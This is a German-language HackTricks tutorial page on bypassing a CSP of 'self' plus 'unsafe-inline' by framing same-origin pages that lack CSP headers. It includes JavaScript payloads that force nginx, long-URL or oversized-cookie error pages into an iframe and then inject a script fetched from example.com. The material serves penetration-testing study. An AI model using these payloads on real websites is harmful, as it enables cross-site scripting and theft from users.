CSP bypass: self + 'unsafe-inline' with Iframes

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Eine Konfiguration wie:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Prohibiert die Verwendung von Funktionen, die als Zeichenkette übermittelten Code ausführen. Zum Beispiel werden eval, setTimeout, setInterval aufgrund der Einstellung unsafe-eval blockiert.

Auch Inhalte von externen Quellen werden blockiert, einschließlich Bilder, CSS, WebSockets und insbesondere JS.

Über Texte & Bilder

Es wurde beobachtet, dass moderne Browser Bilder und Texte in HTML umwandeln, um ihre Anzeige zu verbessern (z. B. Hintergrund einstellen, zentrieren usw.). Wenn also ein Bild oder eine Textdatei wie favicon.ico oder robots.txt über ein iframe geöffnet wird, wird es als HTML gerendert. Beachtenswert ist, dass diese Seiten oft keine CSP-Header enthalten und möglicherweise keine X-Frame-Options enthalten, was die Ausführung von beliebigem JavaScript ermöglicht:

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Über Fehler

Ähnlich wie bei Fehlerantworten, wie Textdateien oder Bildern, werden in der Regel keine CSP-Header mitgeliefert und es kann sein, dass X-Frame-Options fehlen. Fehler können dazu gebracht werden, in einem iframe geladen zu werden, was die folgenden Aktionen ermöglicht:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

Nach Auslösen einer der genannten Szenarien ist die Ausführung von JavaScript innerhalb des iframes wie folgt möglich:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

Referenzen

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated